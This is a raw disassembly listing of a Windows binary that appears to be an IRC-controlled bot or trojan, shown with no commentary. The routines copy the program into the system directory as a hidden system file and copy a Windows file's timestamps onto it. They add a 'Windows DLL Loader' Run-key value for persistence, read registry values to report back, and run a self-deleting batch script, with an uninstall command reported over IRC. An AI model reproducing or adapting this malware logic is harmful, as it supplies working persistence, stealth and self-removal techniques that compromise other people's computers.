		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4066CF:				; CODE XREF: sub_40668F+37j
		cmp	[ebp+var_4], 6
		jge	short loc_4066EA
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_4066C8
; ---------------------------------------------------------------------------


loc_4066EA:				; CODE XREF: sub_40668F+44j
		mov	eax, [ebp+arg_4]
		and	byte ptr [eax+6], 0
		and	[ebp+var_4], 0
		jmp	short loc_4066FE
; ---------------------------------------------------------------------------


loc_4066F7:				; CODE XREF: sub_40668F+88j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4066FE:				; CODE XREF: sub_40668F+66j
		cmp	[ebp+var_4], 10h
		jge	short loc_406719
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_4066F7
; ---------------------------------------------------------------------------


loc_406719:				; CODE XREF: sub_40668F+73j
		mov	eax, [ebp+arg_8]
		and	byte ptr [eax+10h], 0
		leave
		retn
sub_40668F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406722	proc near		; CODE XREF: sub_40A9CF+F40p

var_424		= byte ptr -424h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 424h
		cmp	[ebp+arg_4], 0
		jnz	short loc_406736
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_406736:				; CODE XREF: sub_406722+Dj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+4]
		cmp	eax, 5Ch
		jz	short loc_406747
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_406747:				; CODE XREF: sub_406722+1Ej
		push	4
		push	offset aHkcr	; "HKCR"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_406769
		mov	[ebp+var_218], 80000000h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_406769:				; CODE XREF: sub_406722+39j
		push	4
		push	offset aHkcu	; "HKCU"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40678B
		mov	[ebp+var_218], 80000001h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_40678B:				; CODE XREF: sub_406722+5Bj
		push	4
		push	offset aHklm	; "HKLM"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4067AD
		mov	[ebp+var_218], 80000002h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_4067AD:				; CODE XREF: sub_406722+7Dj
		push	4
		push	offset aHkus	; "HKUS"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4067CF
		mov	[ebp+var_218], 80000003h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_4067CF:				; CODE XREF: sub_406722+9Fj
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_4067D4:				; CODE XREF: sub_406722+45j
					; sub_406722+67j ...
		mov	eax, [ebp+arg_4]
		add	eax, 5
		mov	[ebp+arg_4], eax
		push	[ebp+arg_4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_210], eax
		jmp	short loc_4067FB
; ---------------------------------------------------------------------------


loc_4067EE:				; CODE XREF: sub_406722:loc_406858j
		mov	eax, [ebp+var_210]
		dec	eax
		mov	[ebp+var_210], eax


loc_4067FB:				; CODE XREF: sub_406722+CAj
		cmp	[ebp+var_210], 0
		jnz	short loc_406809
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_406809:				; CODE XREF: sub_406722+E0j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_210]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jnz	short loc_406858
		mov	eax, [ebp+var_210]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+1]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 200h
		jb	short loc_40683A
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_40683A:				; CODE XREF: sub_406722+111j
		mov	eax, [ebp+var_210]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+1]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40685A
; ---------------------------------------------------------------------------


loc_406858:				; CODE XREF: sub_406722+F6j
		jmp	short loc_4067EE
; ---------------------------------------------------------------------------


loc_40685A:				; CODE XREF: sub_406722+134j
		cmp	[ebp+var_210], 200h
		jb	short loc_40686B
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_40686B:				; CODE XREF: sub_406722+142j
		push	[ebp+var_210]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_210]
		and	[ebp+eax+var_418], 0
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		push	0
		lea	eax, [ebp+var_418]
		push	eax
		push	[ebp+var_218]
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_4068B5
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_4068B5:				; CODE XREF: sub_406722+18Cj
		mov	[ebp+var_8], 1000h
		push	[ebp+var_8]
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_214], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_214]
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		lea	eax, [ebp+var_20C]
		push	eax
		push	[ebp+var_C]
		call	dword_41700C	; RegQueryValueExA
		test	eax, eax
		jnz	loc_406A0C
		cmp	[ebp+var_4], 1
		jz	short loc_4068FF
		cmp	[ebp+var_4], 2
		jnz	short loc_406915


loc_4068FF:				; CODE XREF: sub_406722+1D5j
		push	[ebp+var_214]
		push	offset dword_418B64
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch


loc_406915:				; CODE XREF: sub_406722+1DBj
		cmp	[ebp+var_4], 4
		jnz	short loc_406933
		mov	eax, [ebp+var_214]
		push	dword ptr [eax]
		push	offset dword_418B5C
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch


loc_406933:				; CODE XREF: sub_406722+1F7j
		cmp	[ebp+var_4], 3
		jnz	loc_406A0C
		push	180h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_420], eax
		mov	eax, [ebp+var_420]
		and	byte ptr [eax],	0
		and	[ebp+var_41C], 0
		jmp	short loc_40696D
; ---------------------------------------------------------------------------


loc_406960:				; CODE XREF: sub_406722+2C3j
		mov	eax, [ebp+var_41C]
		inc	eax
		mov	[ebp+var_41C], eax


loc_40696D:				; CODE XREF: sub_406722+23Cj
		mov	eax, [ebp+var_41C]
		cmp	eax, [ebp+var_8]
		jnb	short loc_4069EA
		mov	eax, [ebp+var_214]
		add	eax, [ebp+var_41C]
		movzx	eax, byte ptr [eax]
		push	eax
		push	offset dword_418B54
		lea	eax, [ebp+var_424]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		push	[ebp+var_420]
		call	sub_416B40	; strlen
		pop	ecx
		add	eax, 3
		cmp	eax, 180h
		jb	short loc_4069D1
		push	[ebp+var_420]
		push	offset dword_418B64
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch
		mov	eax, [ebp+var_420]
		and	byte ptr [eax],	0


loc_4069D1:				; CODE XREF: sub_406722+28Ej
		lea	eax, [ebp+var_424]
		push	eax
		push	[ebp+var_420]
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		jmp	loc_406960
; ---------------------------------------------------------------------------


loc_4069EA:				; CODE XREF: sub_406722+254j
		push	[ebp+var_420]
		push	offset dword_418B64
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_420]
		call	sub_416B4C	; free
		pop	ecx


loc_406A0C:				; CODE XREF: sub_406722+1CBj
					; sub_406722+215j
		push	[ebp+var_214]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_C]
		call	dword_417028	; RegCloseKey

locret_406A21:				; CODE XREF: sub_406722+Fj
					; sub_406722+20j ...
		leave
		retn
sub_406722	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A23	proc near		; CODE XREF: sub_40D043:loc_40D18Dp
					; sub_40D871:loc_40DB71p

var_20C		= byte ptr -20Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset dword_41DC0C
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_4170AC	; DeleteFileA
		push	offset dword_4182AC
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_108], eax
		cmp	[ebp+var_108], 0
		jz	short locret_406AE5
		push	[ebp+var_108]
		push	1
		push	2
		push	offset dword_418DE0
		call	sub_416B7C	; fwrite
		add	esp, 10h
		push	[ebp+var_108]
		call	sub_416B82	; fclose
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_406B81
		pop	ecx

locret_406AE5:				; CODE XREF: sub_406A23+90j
		leave
		retn
sub_406A23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406AE7	proc near		; CODE XREF: sub_40D043+13Dp
					; sub_40D871+2F3p

var_20C		= byte ptr -20Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset dword_41DC0C
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset aRb	; "rb"
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_108], eax
		cmp	[ebp+var_108], 0
		jz	short loc_406B7D
		push	[ebp+var_108]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_406B7F
; ---------------------------------------------------------------------------


loc_406B7D:				; CODE XREF: sub_406AE7+83j
		xor	eax, eax

locret_406B7F:				; CODE XREF: sub_406AE7+94j
		leave
		retn
sub_406AE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B81	proc near		; CODE XREF: sub_406A23+BCp
					; sub_406E8E+246p

var_120		= dword	ptr -120h
var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	104h
		lea	eax, [ebp+var_11C]
		push	eax
		call	dword_417040	; GetWindowsDirectoryA
		push	offset dword_418DE8
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		lea	eax, [ebp+var_11C]
		push	eax
		call	dword_417044	; CreateFileA
		mov	[ebp+var_120], eax
		cmp	[ebp+var_120], 0FFFFFFFFh
		jz	short locret_406C4F
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_120]
		call	dword_417048	; GetFileTime
		push	[ebp+var_120]
		call	dword_4170A4	; CloseHandle
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	dword_417044	; CreateFileA
		mov	[ebp+var_120], eax
		cmp	[ebp+var_120], 0FFFFFFFFh
		jz	short locret_406C4F
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_120]
		call	dword_41704C	; SetFileTime
		push	[ebp+var_120]
		call	dword_4170A4	; CloseHandle

locret_406C4F:				; CODE XREF: sub_406B81+5Aj
					; sub_406B81+A8j
		leave
		retn
sub_406B81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C51	proc near		; CODE XREF: sub_406E8E+133p
					; sub_406E8E+214p ...

var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	dword_417014	; RegCreateKeyExA
		cmp	[ebp+arg_0], 0
		jz	short loc_406CE1
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_41703C	; lstrlen
		inc	eax
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		push	1
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	dword_417010	; RegSetValueExA
		jmp	short loc_406CED
; ---------------------------------------------------------------------------


loc_406CE1:				; CODE XREF: sub_406C51+30j
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	dword_417004	; RegDeleteValueA


loc_406CED:				; CODE XREF: sub_406C51+8Ej
		push	[ebp+var_4]
		call	dword_417028	; RegCloseKey
		leave
		retn
sub_406C51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406CF8	proc near		; CODE XREF: sub_406D47+2Bp
					; sub_406E8E+253p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_C], eax
		and	[ebp+var_4], 0
		jmp	short loc_406D1D
; ---------------------------------------------------------------------------


loc_406D16:				; CODE XREF: sub_406CF8:loc_406D40j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_406D1D:				; CODE XREF: sub_406CF8+1Cj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jnb	short loc_406D42
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jnz	short loc_406D40
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_8], eax


loc_406D40:				; CODE XREF: sub_406CF8+39j
		jmp	short loc_406D16
; ---------------------------------------------------------------------------


loc_406D42:				; CODE XREF: sub_406CF8+2Bj
		mov	eax, [ebp+var_8]
		leave
		retn
sub_406CF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D47	proc near		; CODE XREF: sub_406E8E+9p
					; sub_407148+9p

var_108		= byte ptr -108h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_406CF8
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_417038	; SetCurrentDirectoryA
		leave
		retn
sub_406D47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D90	proc near		; CODE XREF: sub_406E8E+25Ap
					; sub_407148+168p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	8
		push	4
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		and	[ebp+var_1C], 0


loc_406DA8:				; CODE XREF: sub_406D90:loc_406DDFj
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_1C]
		mov	[ebp+ecx+var_18], al
		mov	eax, [ebp+var_1C]
		inc	eax
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_20]
		jnz	short loc_406DDF
		push	offset a_bat	; ".bat"
		mov	eax, [ebp+var_1C]
		lea	eax, [ebp+eax+var_18]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_406DE1
; ---------------------------------------------------------------------------


loc_406DDF:				; CODE XREF: sub_406D90+37j
		jmp	short loc_406DA8
; ---------------------------------------------------------------------------


loc_406DE1:				; CODE XREF: sub_406D90+4Dj
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_8], eax
		push	400h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_18]
		push	eax
		call	dword_4170AC	; DeleteFileA
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_18]
		push	eax
		call	dword_417044	; CreateFileA
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0FFFFFFFFh
		jnz	short loc_406E2B
		xor	eax, eax
		jmp	short locret_406E8C
; ---------------------------------------------------------------------------


loc_406E2B:				; CODE XREF: sub_406D90+95j
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+arg_0]
		push	[ebp+arg_0]
		push	offset a@echoOffDelete ; "@echo	off\r\n:deleteagain\r\ndel /A:H	/F %s"...
		push	[ebp+var_24]
		call	dword_4171E0	; wsprintfA
		add	esp, 18h
		and	[ebp+var_4], 0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_24]
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	dword_417068	; WriteFile
		push	[ebp+var_28]
		call	dword_4170A4	; CloseHandle
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		push	1
		pop	eax

locret_406E8C:				; CODE XREF: sub_406D90+99j
		leave
		retn
sub_406D90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406E8E	proc near		; CODE XREF: .data:loc_4169E1p

var_368		= dword	ptr -368h
var_338		= word ptr -338h
var_324		= byte ptr -324h
var_220		= dword	ptr -220h
var_21C		= byte ptr -21Ch
var_118		= byte ptr -118h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h

		push	ebp
		mov	ebp, esp
		sub	esp, 368h
		call	sub_406D47
		push	104h
		lea	eax, [ebp+var_324]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		and	[ebp+var_14], 0
		and	[ebp+var_220], 0
		jmp	short loc_406ED1
; ---------------------------------------------------------------------------


loc_406EC4:				; CODE XREF: sub_406E8E:loc_406FF8j
		mov	eax, [ebp+var_220]
		inc	eax
		mov	[ebp+var_220], eax


loc_406ED1:				; CODE XREF: sub_406E8E+34j
		mov	eax, [ebp+var_220]
		shl	eax, 1
		cmp	off_418B88[eax*4], 0
		jz	loc_406FFD
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax
		push	104h
		lea	eax, [ebp+var_21C]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_324]
		push	eax
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_406FF8
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B8C[eax*4]
		push	1
		call	sub_406C51
		add	esp, 0Ch
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105AD
		pop	ecx
		jmp	locret_407146
; ---------------------------------------------------------------------------


loc_406FF8:				; CODE XREF: sub_406E8E+E3j
		jmp	loc_406EC4
; ---------------------------------------------------------------------------


loc_406FFD:				; CODE XREF: sub_406E8E+53j
		push	[ebp+var_14]
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax
		push	104h
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_14]
		shl	eax, 1
		push	off_418B88[eax*4]
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_4170AC	; DeleteFileA


loc_40707C:				; DATA XREF: .data:0041AD4Co
					; .data:0041AD60o ...
		push	0
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_324]
		push	eax
		call	dword_417060	; CopyFileA
		test	eax, eax
		jnz	short loc_4070AF
		push	offset dword_41EAFC
		push	offset aWindowsDllLoad ; "Windows DLL Loader"
		push	1
		call	sub_406C51
		add	esp, 0Ch
		jmp	locret_407146
; ---------------------------------------------------------------------------


loc_4070AF:				; CODE XREF: sub_406E8E+206j
		push	4
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_4170A8	; SetFileAttributesA
		push	2
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_4170A8	; SetFileAttributesA
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_406B81
		pop	ecx
		lea	eax, [ebp+var_324]
		push	eax
		call	sub_406CF8
		pop	ecx
		push	eax
		call	sub_406D90
		pop	ecx
		push	44h
		push	0
		lea	eax, [ebp+var_368]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_368], 44h
		and	[ebp+var_338], 0
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_368]
		push	eax
		push	0
		push	0
		push	28h
		push	1
		push	0
		push	0
		lea	eax, [ebp+var_118]
		push	eax
		push	0
		call	dword_41707C	; CreateProcessA
		call	dword_417254	; WSACleanup
		push	0
		call	sub_416BFC	; exit

locret_407146:				; CODE XREF: sub_406E8E+165j
					; sub_406E8E+21Cj
		leave
		retn
sub_406E8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407148	proc near		; CODE XREF: sub_402A32+7BBp
					; sub_40A9CF+145Fp ...

var_20C		= byte ptr -20Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		call	sub_406D47
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		and	[ebp+var_108], 0
		jmp	short loc_407187
; ---------------------------------------------------------------------------


loc_40717A:				; CODE XREF: sub_407148:loc_4072DBj
		mov	eax, [ebp+var_108]
		inc	eax
		mov	[ebp+var_108], eax


loc_407187:				; CODE XREF: sub_407148+30j
		mov	eax, [ebp+var_108]
		shl	eax, 1
		cmp	off_418B88[eax*4], 0
		jz	loc_4072E0
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4072DB
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B8C[eax*4]
		push	0
		call	sub_406C51
		add	esp, 0Ch
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_406CF8
		pop	ecx
		push	eax
		call	sub_406D90
		pop	ecx
		test	eax, eax
		jz	short loc_4072D9
		push	offset dword_41EAFC
		push	offset aQuitSUninstall ; "QUIT :%s uninstalled."
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		call	dword_417254	; WSACleanup
		push	0
		call	dword_41705C	; ExitProcess


loc_4072D9:				; CODE XREF: sub_407148+170j
		jmp	short locret_40732B
; ---------------------------------------------------------------------------


loc_4072DB:				; CODE XREF: sub_407148+D8j
		jmp	loc_40717A
; ---------------------------------------------------------------------------


loc_4072E0:				; CODE XREF: sub_407148+4Fj
		push	offset dword_41EAFC
		push	offset aWindowsDllLoad ; "Windows DLL Loader"
		push	0
		call	sub_406C51
		add	esp, 0Ch
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_406CF8
		pop	ecx
		push	eax
		call	sub_406D90
		pop	ecx
		test	eax, eax
		jz	short locret_40732B
		push	offset dword_41EAFC
		push	offset aQuitSUninstall ; "QUIT :%s uninstalled."
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		call	dword_417254	; WSACleanup
		push	0
		call	dword_41705C	; ExitProcess

